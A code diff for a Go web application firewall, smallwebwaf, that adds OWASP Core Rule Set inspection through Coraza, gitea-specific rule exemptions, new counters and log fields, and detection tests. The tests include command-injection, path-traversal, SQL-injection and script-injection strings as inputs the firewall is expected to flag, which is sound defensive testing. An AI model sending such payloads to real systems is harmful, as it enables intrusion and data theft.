-// percentages, then SWWAF_TRAP_PATHS, and last the rule files. A request
+// percentages, then SWWAF_TRAP_PATHS, then the rule files, and last the
-// exempt from the rate limits is exempt from the byte limits too. ctx is
+// Core Rule Set. A request exempt from the rate limits is exempt from the
-// the request's own context.
+// byte limits too. ctx is the request's own context.
 func (rq *request) checkClient(ctx context.Context) string {
 	cfg := rq.h.config
 	if isInside(rq.client, cfg.AllowNets) {
@@ -286,15 +286,20 @@ func (rq *request) checkClient(ctx context.Context) string {
 		return requestlog.ActionBanned
 	}
-	return rq.checkRules(now)
+	action := rq.checkRules(now)
 	if action != "" {
 		return action
 	}
 	return rq.checkCoreRuleSet()
 }
-// pathExempt reports whether the rate limits leave out a request for u
+// pathExempt reports whether a request for u is exempt under prefixes,
-// because of SWWAF_RATE_LIMIT_EXEMPT_PATHS: whether its path as sent, the
+// SWWAF_RATE_LIMIT_EXEMPT_PATHS or SWWAF_WAF_EXEMPT_PATHS: whether its
-// path the app receives, not percent-decoded, starts with one of
+// path as sent, the path the app receives, not percent-decoded, starts
-// prefixes, so that /%61ssets/x is not under /assets/ for an app whose
+// with one of prefixes, so that /%61ssets/x is not under /assets/ for an
-// router matches the path as received. A request whose decoded path
+// app whose router matches the path as received. A request whose decoded
-// contains .. anywhere or a backslash, or whose path as sent holds an
+// path contains .. anywhere or a backslash, or whose path as sent holds an
 // encoded slash (%2F or %2f), never is, since an app may act on it as a
 // path outside every prefix: /assets/..%2Flogin as /login, or /assets%2Fx
 // as one path segment, as Go's router does.
@@ -562,6 +567,7 @@ func (rq *request) addToHistory() {
 		BrokeLimit:    rq.line.Offence == requestlog.OffenceLimit,
 		Attack:        rq.attack,
 		RuleBlocked:   rq.ruleBlocked,
 		WAFBlocked:    rq.wafBlocked,
 		TokenRefused:  rq.tokenRefused,
 	}
@@ -124,11 +124,12 @@ type Offences struct {
 	// Limit is its requests that broke a rate limit, a byte limit or the
 	// error burst, Attack those that were a clear sign of attack, a match
 	// of a ban rule or a request for a trap path, RuleBlocked those a block
-	// rule refused, and TokenRefused those refused for a missing or wrong
+	// rule refused, WAFBlocked those the Core Rule Set refused, and
-	// token.
+	// TokenRefused those refused for a missing or wrong token.
 	Limit        int64 `json:"limit"`
 	Attack       int64 `json:"attack"`
 	RuleBlocked  int64 `json:"rule_blocked"`
 	WAFBlocked   int64 `json:"waf_blocked"`
 	TokenRefused int64 `json:"token_refused"`
 }
@@ -148,11 +149,13 @@ type Request struct {
 	ResponseBytes int64
 	// BrokeLimit is true for a request that broke a rate limit, a byte
 	// limit or the error burst, Attack for one that matched a ban rule or
-	// asked for a trap path, RuleBlocked for one a block rule refused, and
+	// asked for a trap path, RuleBlocked for one a block rule refused,
-	// TokenRefused for one refused for a missing or wrong token.
+	// WAFBlocked for one the Core Rule Set refused, and TokenRefused for
 	// one refused for a missing or wrong token.
 	BrokeLimit   bool
 	Attack       bool
 	RuleBlocked  bool
 	WAFBlocked   bool
 	TokenRefused bool
 }
@@ -236,10 +239,10 @@ func (l *Limiter) CountBytes(
 }
 // CountRefusal counts a request from client at now that smallwebwaf
-// refused after a rule file match or for a missing or wrong token, and
+// refused after a rule file or Core Rule Set match or for a missing or
-// reports whether the client's refusals in the minute that ends at now,
+// wrong token, and reports whether the client's refusals in the minute
-// this one included, are more than threshold, which breaks the error
+// that ends at now, this one included, are more than threshold, which
-// burst, and the hit.
+// breaks the error burst, and the hit.
 func (l *Limiter) CountRefusal(
 	client netip.Prefix, now time.Time, threshold int64,
 ) (Hit, bool) {
@@ -304,6 +307,10 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
 		h.Offences.RuleBlocked++
 	}
 	if r.WAFBlocked {
 		h.Offences.WAFBlocked++
 	}
 	if r.TokenRefused {
 		h.Offences.TokenRefused++
 	}
@@ -36,6 +36,9 @@ const (
 	// ActionRuleBlocked is a request refused because it matched a block
 	// rule.
 	ActionRuleBlocked = "rule_blocked"
 	// ActionWAFBlocked is a request refused because the Core Rule Set
 	// scored it at or over SWWAF_WAF_ANOMALY_THRESHOLD.
 	ActionWAFBlocked = "waf_blocked"
 	// ActionDenied is a request refused because its client is in
 	// SWWAF_DENY_NETS, in a blocklist while SWWAF_BLOCKLIST_ACTION is deny,
 	// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
@@ -123,8 +126,8 @@ type Line struct {
 	Action string `json:"action"`
 	// WouldAction is, in observe mode, the action enforce mode would have
 	// taken with a request it would have refused: ActionDenied,
-	// ActionBanned, ActionCountryDenied, ActionRateLimited or
+	// ActionBanned, ActionCountryDenied, ActionRateLimited,
-	// ActionRuleBlocked.
+	// ActionRuleBlocked or ActionWAFBlocked.
 	WouldAction string `json:"would_action,omitempty"`
 	// LimitPercent and LimitPercentSetting are, for a request the rate
 	// limits counted whose client a biased threshold gives a percentage of
@@ -142,6 +145,11 @@ type Line struct {
 	Counts ratelimit.Counts `json:"counts,omitzero"`
 	// RuleIDs are the ids of the rule file rules the request matched.
 	RuleIDs []string `json:"rule_ids,omitempty"`
 	// WAFRuleIDs are the ids of the Core Rule Set's rules the request
 	// matched, and WAFScore its anomaly score, nil for a request the Core
 	// Rule Set did not inspect.
 	WAFRuleIDs []int `json:"waf_rule_ids,omitempty"`
 	WAFScore   *int  `json:"waf_score,omitempty"`
 	// LimitHit is the window whose limit the request went over, named as
 	// Counts names its count: minute, hour or day for a rate limit, and
 	// minute_bytes, hour_bytes or day_bytes for a byte limit; or
@@ -159,13 +167,15 @@ type Line struct {
 	BanExpires string `json:"ban_expires,omitempty"`
 	// The timings, in milliseconds. DurationChecks is the time until the
-	// checks were done. DurationUpstreamConnect, DurationUpstreamFirstByte
+	// checks were done, and DurationWAF the part of it the Core Rule Set
-	// and DurationUpstreamTotal run from when the request was handed to the
+	// took. DurationUpstreamConnect, DurationUpstreamFirstByte and
 	// DurationUpstreamTotal run from when the request was handed to the
 	// app: until there was a connection to it, until the first byte of its
 	// answer arrived, and until the end. Each but DurationTotal is nil for
 	// a request that did not get that far.
 	DurationTotal             float64  `json:"duration_total"`
 	DurationChecks            *float64 `json:"duration_checks,omitempty"`
 	DurationWAF               *float64 `json:"duration_waf,omitempty"`
 	DurationUpstreamConnect   *float64 `json:"duration_upstream_connect,omitempty"`
 	DurationUpstreamFirstByte *float64 `json:"duration_upstream_first_byte,omitempty"`
 	DurationUpstreamTotal     *float64 `json:"duration_upstream_total,omitempty"`
@@ -0,0 +1,214 @@
 // Package waf runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
 // method, the URL with its query and the headers of a request, with the
 // six changes smallwebwaf makes to it, as "Attack detection" under
 // "Configuration surface" in SPEC.md describes them. It reads no request
 // body and no response.
 package waf
 import (
 	"fmt"
 	"net/http"
 	"net/netip"
 	"slices"
 	"strconv"
 	"strings"
 	coreruleset "github.com/corazawaf/coraza-coreruleset/v4"
 	"github.com/corazawaf/coraza/v3"
 	"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
 	"github.com/corazawaf/coraza/v3/types"
 )
 // directives are the Core Rule Set as smallwebwaf runs it, with the
 // paranoia level for %d. Coraza joins a line ending in \ to the next,
 // without the spaces at the start of the next.
 const directives = `
 # The engine only detects. smallwebwaf compares the request's anomaly
 # score with SWWAF_WAF_ANOMALY_THRESHOLD itself, in block and detect mode
 # alike. It reads no body.
 SecRuleEngine DetectionOnly
 SecRequestBodyAccess Off
 SecResponseBodyAccess Off
 Include @crs-setup.conf.example
 SecAction "id:900000,phase:1,pass,nolog,\
    setvar:tx.blocking_paranoia_level=%d"
 # The first change: PUT, PATCH and DELETE are allowed besides GET, HEAD,
 # POST and OPTIONS.
 SecAction "id:900200,phase:1,pass,nolog,\
    setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT PATCH DELETE'"
 # The second: Expect and Content-Encoding are taken off the Core Rule Set's
 # list of the headers it refuses. Content-Encoding stays refused on a body
 # the Core Rule Set reads, and it reads none.
 SecAction "id:900250,phase:1,pass,nolog,\
    setvar:'tx.restricted_headers_basic=/proxy/ /lock-token/ /content-range/ \
    /if/ /x-http-method-override/ /x-http-method/ /x-method-override/ \
    /x-middleware-subrequest/'"
 # The sixth: only the rules for requests are loaded, and no response is
 # inspected.
 Include @owasp_crs/REQUEST-*.conf
 # The third: redirect_uri is not checked for a URL naming an IP address or
 # localhost.
 SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
 SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
 # The fourth: the query parameters in which gitea sends names within a
 # repository or its own records, or a page of its own site, are not
 # checked against the lists of system files, shell paths and command
 # names. Coraza takes one rule id per directive.
 SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
    !ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
    !ARGS:artifactName|!ARGS:redirect_to"
 SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
    !ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
    !ARGS:artifactName|!ARGS:redirect_to"
 SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
    !ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
    !ARGS:artifactName|!ARGS:redirect_to"
 # The fifth, for Referer: it is not checked for a Unix command without
 # arguments, or for Java starting a process. The cookies are left out in
 # Inspect.
 SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
 SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
 `
 // cookiesNotRead are the cookies the Core Rule Set reads a request
 // without, the rest of the fifth change.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
 // Params are what New needs.
 type Params struct {
 	// ParanoiaLevel is SWWAF_WAF_PARANOIA_LEVEL, from 1 to 4.
 	ParanoiaLevel int
 	// DisabledRules are the ids of the rules switched off
 	// (SWWAF_WAF_DISABLED_RULES).
 	DisabledRules []int
 }
 // CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
 // for concurrent use.
 type CoreRuleSet struct {
 	waf coraza.WAF
 }
 // New returns the Core Rule Set with the six changes, at params'
 // paranoia level and without the rules it switches off.
 func New(params Params) (*CoreRuleSet, error) {
 	text := fmt.Sprintf(directives, params.ParanoiaLevel)
 	if len(params.DisabledRules) > 0 {
 		ids := make([]string, len(params.DisabledRules))
 		for i, id := range params.DisabledRules {
 			ids[i] = strconv.Itoa(id)
 		}
 		text += "SecRuleRemoveById " + strings.Join(ids, " ") + "\n"
 	}
 	waf, err := coraza.NewWAF(coraza.NewWAFConfig().
 		WithRootFS(coreruleset.FS).
 		WithDirectives(text))
 	if err != nil {
 		return nil, fmt.Errorf("load the Core Rule Set: %w", err)
 	}
 	return &CoreRuleSet{waf: waf}, nil
 }
 // Result is what the Core Rule Set found in a request.
 type Result struct {
 	// RuleIDs are the ids of the rules that matched, in the order they
 	// ran.
 	RuleIDs []int
 	// Score is the request's anomaly score: what those rules add up to.
 	Score int
 }
 // Inspect runs the Core Rule Set on r, a request from client: on its
 // method, its URL with the query, and its headers, the Cookie header
 // without the cookies in cookiesNotRead.
 func (c *CoreRuleSet) Inspect(r *http.Request, client netip.Addr) Result {
 	tx := c.waf.NewTransaction()
 	// With no body read, there is nothing whose closing can fail.
 	defer func() { _ = tx.Close() }()
 	tx.ProcessConnection(client.String(), 0, "", 0)
 	tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
 	for name, values := range r.Header {
 		for _, value := range values {
 			if name == "Cookie" {
 				value = withoutCookiesNotRead(value)
 				if value == "" {
 					continue // it held those cookies alone
 				}
 			}
 			tx.AddRequestHeader(name, value)
 		}
 	}
 	// Go's server takes these two out of the headers.
 	tx.AddRequestHeader("Host", r.Host)
 	for _, encoding := range r.TransferEncoding {
 		tx.AddRequestHeader("Transfer-Encoding", encoding)
 	}
 	tx.ProcessRequestHeaders()
 	// With no body read, this runs the rest of the rules, and cannot fail.
 	_, _ = tx.ProcessRequestBody()
 	var ids []int
 	for _, matched := range tx.MatchedRules() {
 		// The rules that look for attacks have a severity; the others set
 		// the Core Rule Set up and add up the score.
 		rule := matched.Rule()
 		if rule.Severity() != types.RuleSeverityUnset {
 			ids = append(ids, rule.ID())
 		}
 	}
 	return Result{RuleIDs: ids, Score: score(tx)}
 }
 // score returns the anomaly score the Core Rule Set added up in tx, a
 // transaction it has run, or 0 if a rule that adds it up is switched off.
 func score(tx types.Transaction) int {
 	// The score is in a variable of the transaction, which only Coraza's
 	// interface for plugins reads.
 	state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
 	values := state.Variables().TX().Get("blocking_inbound_anomaly_score")
 	if len(values) == 0 {
 		return 0
 	}
 	n, _ := strconv.Atoi(values[0])
 	return n
 }
 // withoutCookiesNotRead returns value, a Cookie header's, without the
 // cookies in cookiesNotRead.
 func withoutCookiesNotRead(value string) string {
 	var kept []string
 	for cookie := range strings.SplitSeq(value, ";") {
 		name, _, _ := strings.Cut(strings.TrimSpace(cookie), "=")
 		if !slices.Contains(cookiesNotRead, name) {
 			kept = append(kept, cookie)
 		}
 	}
 	return strings.Join(kept, ";")
 }
@@ -0,0 +1,272 @@
 package waf_test
 import (
 	"net/http"
 	"net/http/httptest"
 	"net/netip"
 	"reflect"
 	"strings"
 	"testing"
 	"sneak.berlin/go/smallwebwaf/internal/waf"
 )
 // defaultDisabledRules are the rules SWWAF_WAF_DISABLED_RULES switches off
 // by default.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140}
 // newCoreRuleSet returns the Core Rule Set at paranoia level level, with
 // the rules in disabled switched off.
 func newCoreRuleSet(t *testing.T, level int, disabled ...int) *waf.CoreRuleSet {
 	t.Helper()
 	crs, err := waf.New(waf.Params{ParanoiaLevel: level, DisabledRules: disabled})
 	if err != nil {
 		t.Fatalf("load the Core Rule Set: %v", err)
 	}
 	return crs
 }
 // request is a request a test inspects: its method, its target, the path
 // and the query as a client sends them, and its headers, each written
 // "Name: value".
 type request struct {
 	method, target string
 	headers        []string
 }
 // get is a GET request for target with headers.
 func get(target string, headers ...string) request {
 	return request{http.MethodGet, target, headers}
 }
 // inspect returns what crs finds in r, sent to git.example by a browser,
 // whose Host, User-Agent and Accept r.headers may replace.
 func inspect(t *testing.T, crs *waf.CoreRuleSet, r request) waf.Result {
 	t.Helper()
 	req := httptest.NewRequestWithContext(t.Context(), r.method,
 		"http://git.example"+r.target, http.NoBody)
 	req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
 		"Gecko/20100101 Firefox/131.0")
 	req.Header.Set("Accept", "text/html")
 	for _, header := range r.headers {
 		name, value, _ := strings.Cut(header, ": ")
 		if name == "Host" {
 			// Go's server keeps it out of the headers.
 			req.Host = value
 		} else {
 			req.Header.Set(name, value)
 		}
 	}
 	return crs.Inspect(req, netip.MustParseAddr("203.0.113.9"))
 }
 // wantResult checks what crs finds in r.
 func wantResult(t *testing.T, crs *waf.CoreRuleSet, r request, want waf.Result) {
 	t.Helper()
 	if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) {
 		t.Errorf("%s %s %q: %+v, want %+v", r.method, r.target, r.headers, got, want)
 	}
 }
 // matched is the result of a request that the rules ids match, each of
 // them a critical one, which adds 5 to the score.
 func matched(ids ...int) waf.Result {
 	const critical = 5
 	return waf.Result{RuleIDs: ids, Score: critical * len(ids)}
 }
 // atDefaults returns the Core Rule Set as smallwebwaf runs it by default.
 func atDefaults(t *testing.T) *waf.CoreRuleSet {
 	t.Helper()
 	return newCoreRuleSet(t, 1, defaultDisabledRules...)
 }
 // wantChange checks that crs lets through passes, a gitea request one of
 // the six changes is for, and still finds result in refused, a request
 // like it that the change is not for.
 func wantChange(
 	t *testing.T, crs *waf.CoreRuleSet, passes, refused request, result waf.Result,
 ) {
 	t.Helper()
 	wantResult(t, crs, passes, waf.Result{})
 	wantResult(t, crs, refused, result)
 }
 func TestPutPatchAndDeleteAreAllowed(t *testing.T) {
 	t.Parallel()
 	crs := atDefaults(t)
 	for _, r := range []request{
 		{http.MethodPut, "/v2/owner/image/blobs/uploads/1?digest=sha256:ab", nil},
 		{http.MethodPatch, "/api/v1/repos/owner/repo/issues/1", nil},
 		{http.MethodDelete, "/api/v1/repos/owner/repo/branches/old", nil},
 	} {
 		wantChange(t, crs, r, request{http.MethodTrace, r.target, nil}, matched(911100))
 	}
 	wantChange(t, crs, get("/"), request{"PROPFIND", "/", nil}, matched(911100))
 }
 func TestExpectAndContentEncodingAreAllowed(t *testing.T) {
 	t.Parallel()
 	const (
 		pushType   = "Content-Type: application/x-git-receive-pack-request"
 		fetchType  = "Content-Type: application/x-git-upload-pack-request"
 		length     = "Content-Length: 1024"
 		push       = "/owner/repo.git/git-receive-pack"
 		fetch      = "/owner/repo.git/git-upload-pack"
 		otherProxy = "Proxy: http://proxy.example"
 	)
 	crs := atDefaults(t)
 	wantChange(t, crs,
 		request{http.MethodPost, push, []string{pushType, length, "Expect: 100-continue"}},
 		request{http.MethodPost, push, []string{pushType, length, otherProxy}},
 		matched(920450))
 	wantChange(t, crs,
 		request{http.MethodPost, fetch, []string{
 			fetchType, length, "Content-Encoding: gzip",
 		}},
 		request{http.MethodPost, fetch, []string{
 			fetchType, length, "Content-Range: bytes 0-1023/1024",
 		}},
 		matched(920450))
 }
 func TestRedirectURIMayNameALocalAddress(t *testing.T) {
 	t.Parallel()
 	const oauth = "/login/oauth/authorize?client_id=tea&response_type=code&"
 	crs := atDefaults(t)
 	wantChange(t, crs, get(oauth+"redirect_uri=http://127.0.0.1:52341/"),
 		get(oauth+"next=http://127.0.0.1:52341/"), matched(931100, 934110))
 	wantChange(t, crs, get(oauth+"redirect_uri=http://localhost:52341/"),
 		get(oauth+"next=http://localhost:52341/"), matched(934110))
 }
 func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(t *testing.T) {
 	t.Parallel()
 	crs := atDefaults(t)
 	for _, value := range []struct {
 		name string
 		// result is what a parameter that is not one of gitea's gets.
 		result waf.Result
 	}{
 		// A file on the list of system files.
 		{".gitignore", matched(930120)},
 		// A command's name, after a directory on the list of shell paths.
 		{"bin/docker-entrypoint", matched(932260, 932160)},
 	} {
 		for _, parameter := range []string{
 			"path", "files", "skip-to", "sub_path", "ref", "sha", "branch", "workflow",
 			"artifactName", "redirect_to",
 		} {
 			wantChange(t, crs, get("/?"+parameter+"="+value.name),
 				get("/?q="+value.name), value.result)
 		}
 	}
 	// What only those rules refuse gets through there too, but path
 	// traversal and SQL injection are still refused.
 	wantChange(t, crs, get("/?path=|cat%20/etc/passwd"), get("/?q=|cat%20/etc/passwd"),
 		matched(930120, 932160))
 	wantResult(t, crs, get("/?path=../../etc/passwd"),
 		waf.Result{RuleIDs: []int{930100, 930110}, Score: 20})
 	wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100))
 }
 func TestCookiesGiteaFlashAndRedirectToAreNotRead(t *testing.T) {
 	t.Parallel()
 	const (
 		flash      = "success%3DFile%2Bpackage.json%2Bdeleted"
 		redirectTo = "%2Fowner%2Frepo%2Fsrc%2Fbranch%2Fmain%2Fpackage.json"
 	)
 	crs := atDefaults(t)
 	wantChange(t, crs, get("/owner/repo", "Cookie: gitea_flash="+flash),
 		get("/owner/repo", "Cookie: flash="+flash), matched(930120))
 	wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo),
 		get("/", "Cookie: redirect="+redirectTo), matched(930120))
 	// Among other cookies, which are read.
 	wantChange(t, crs,
 		get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect_to="+redirectTo+
 			"; i_like_gitea=abc"),
 		get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect="+redirectTo+
 			"; i_like_gitea=abc"),
 		matched(930120))
 }
 func TestRefererIsNotCheckedForACommandOrJavaStartingAProcess(t *testing.T) {
 	t.Parallel()
 	const (
 		search      = "https://git.example/explore/repos?q=env"
 		runtimeJava = "https://git.example/openjdk/jdk/src/branch/master/src/" +
 			"java.base/share/classes/java/lang/Runtime.java"
 	)
 	crs := atDefaults(t)
 	wantChange(t, crs, get("/", "Referer: "+search), get("/", "User-Agent: "+search),
 		matched(932340))
 	wantChange(t, crs, get("/", "Referer: "+runtimeJava),
 		get("/", "X-Page: "+runtimeJava), matched(944110))
 	// It is still checked for script and SQL injection.
 	wantResult(t, crs,
 		get("/", "Referer: https://git.example/?q=<script>alert(1)</script>"),
 		matched(941110, 941160))
 	wantResult(t, crs, get("/", "Referer: https://git.example/?q=1' OR '1'='1"),
 		matched(942100))
 }
 func TestEmptyHeaderIsRead(t *testing.T) {
 	t.Parallel()
 	// An empty User-Agent is a notice, which adds 2.
 	wantResult(t, atDefaults(t), get("/", "User-Agent: "),
 		waf.Result{RuleIDs: []int{920330}, Score: 2})
 }
 func TestParanoiaLevel(t *testing.T) {
 	t.Parallel()
 	// Accept-Charset is refused from paranoia level 2.
 	r := get("/", "Accept-Charset: utf-8")
 	wantResult(t, newCoreRuleSet(t, 1), r, waf.Result{})
 	wantResult(t, newCoreRuleSet(t, 2), r, matched(920451))
 }
 func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
 	t.Parallel()
 	// A method not allowed, and a Host that is an IP address, a warning,
 	// which adds 3.
 	r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}}
 	wantResult(t, newCoreRuleSet(t, 1), r,
 		waf.Result{RuleIDs: []int{911100, 920350}, Score: 8})
 	wantResult(t, newCoreRuleSet(t, 1, 920350, 911100), r, waf.Result{})
 }